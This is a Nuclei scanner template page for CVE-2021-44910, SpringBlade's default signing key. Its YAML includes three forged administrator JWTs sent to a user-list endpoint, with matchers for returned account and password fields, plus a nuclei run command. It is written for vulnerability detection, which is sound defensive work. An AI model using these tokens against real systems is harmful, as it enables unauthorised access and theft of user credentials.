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Nuclei Templates

SpringBlade - Information Leakage

ID: CVE-2021-44910

Severity: high

Author: lbb

Tags: cve,cve2021,springblade,blade,info-leak

Description

Section titled “Description”

SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.

YAML Source

Section titled “YAML Source”
id: CVE-2021-44910


info:
  name: SpringBlade - Information Leakage
  author: lbb
  severity: high
  description: |
    SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.
  reference:
    - https://github.com/chillzhuang/blade-tool
  metadata:
    max-request: 3
  tags: cve,cve2021,springblade,blade,info-leak


http:
  - raw:
      - |
        GET /api/blade-user/user-list HTTP/1.1
        Host: {{Hostname}}
        Blade-Auth: bearer {{bearer}}


    payloads:
      bearer:
        - 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk'
        - 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk'
        - 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg'


    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"account":'
          - '"password":'
        condition: and


      - type: word
        part: header
        words:
          - 'application/json'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c41bdf375d5935ff59ade4b4b606f0e00df0c8ae1d2ad36f650c9ab8dba13d1d02204d2db5f4f0c94bef12b7b175e15ea85b9269d61b0f6743b76cbeca01fe56e707:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-44910.yaml"

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